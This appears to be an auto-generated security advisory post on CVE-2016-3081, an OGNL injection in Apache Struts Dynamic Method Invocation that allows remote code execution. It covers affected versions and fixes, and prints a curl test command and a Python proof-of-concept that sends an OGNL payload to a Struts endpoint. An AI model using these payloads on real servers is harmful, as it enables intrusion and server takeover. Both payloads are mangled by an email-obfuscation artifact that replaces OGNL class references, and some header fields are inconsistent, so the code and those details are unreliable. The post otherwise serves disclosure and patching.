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CVE-2016-3081 is a critical security vulnerability affecting Apache Struts.
It specifically targets applications where Dynamic Method Invocation is enabled.
The flaw resides in how the framework processes action method names.
Attackers can supply a method parameter prefixed with specific strings.
This prefix tricks the ActionInvocation mechanism into evaluating OGNL.
Object-Graph Navigation Language expressions are then executed directly.
Unsanitized input flows straight into the OGNL evaluation engine.
Consequently, remote attackers can execute arbitrary code on the server.
The vulnerability bypasses standard security restrictions implemented in Struts.
Affected software versions span multiple 2.3 branch releases globally.
Specifically, versions 2.3.19 through 2.3.20.2 are vulnerable to this flaw.
Furthermore, versions 2.3.21 up to 2.3.24.1 exhibit the same weakness.
Releases ranging from 2.3.25 to 2.3.28 are similarly impacted.
Exploitation requires no prior authentication if DMI remains active.
An HTTP request containing a crafted method parameter triggers it.
The web application interprets the input as an expression tree.
Java code execution occurs within the context of the application server.
System administrators can observe suspicious traffic patterns in server logs.
Attack vectors often leverage HTTP POST or GET requests.
Metasploit and other penetration testing tools include automated modules.
These modules send crafted payloads to validate the presence of bugs.
Public proof-of-concept exploits became widely available shortly after disclosure.
Huawei and Oracle issued security advisories addressing downstream enterprise risks.
Security teams must disable Dynamic Method Invocation to mitigate issues.
Upgrading to patched versions remains the definitive long-term solution.
Patched releases include versions 2.3.20.3, 2.3.24.3, and 2.3.28.1.
Failure to patch exposes infrastructure to complete server takeover.
Attackers can steal sensitive data or deploy persistent malicious payloads.
Monitoring OGNL expressions helps detect active intrusion and exploitation attempts.
Proper configuration management prevents accidental re-enabling of DMI features.
DailyCVE Form:
Platform: Apache Struts
Version: 2.3.19 to 2.3.28
Vulnerability : Remote Code Execution
Severity: High
date: April 25 2016
Prediction: April 28 2016
What Undercode Say:
Check vulnerable Struts version using package inspection unzip -q struts2-core-2.3.28.jar -d struts_extracted cat struts_extracted/META-INF/MANIFEST.MF Send a test curl command to verify DMI endpoint behavior curl -X POST "http://target-server:8080/struts2-showcase/index.action" \ -d "method:%u0023_memberAccess%[email protected]@DEFAULT_MEMBER_ACCESS"
Exploit: (Educational Purposes!)
Python PoC snippet demonstrating Ognl payload structure via method prefix import urllib.request import urllib.parse url = "http://localhost:8080/struts2-showcase/index.action" payload = "method:%23_memberAccess%[email protected]@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse%28%29,%23res.getWriter%28%29.println%28'Vulnerable'%29,%23res.getWriter%28%29.flush%28%29" req = urllib.request.Request(url, data=payload.encode('ascii')) response = urllib.request.urlopen(req) print(response.read().decode('utf-8'))
Protection:
<!-- Disable Dynamic Method Invocation (DMI) in struts.xml configuration --> <constant name="struts.enable.DynamicMethodInvocation" value="false" /> <!-- Update Apache Struts dependencies in Maven pom.xml to patched versions --> <dependency> <groupId>org.apache.struts</groupId> <artifactId>struts2-core</artifactId> <version>2.3.28.1</version> </dependency>
Impact:
Complete remote code execution leading to full server compromise.
Unauthorized execution of operating system commands with application privileges.
Confidential data theft, database manipulation, or deployment of persistent malware.
Broad enterprise vulnerability affecting multiple downstream vendors like Oracle and Huawei.
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Sources:
Reported By: www.cve.org
Extra Source Hub:
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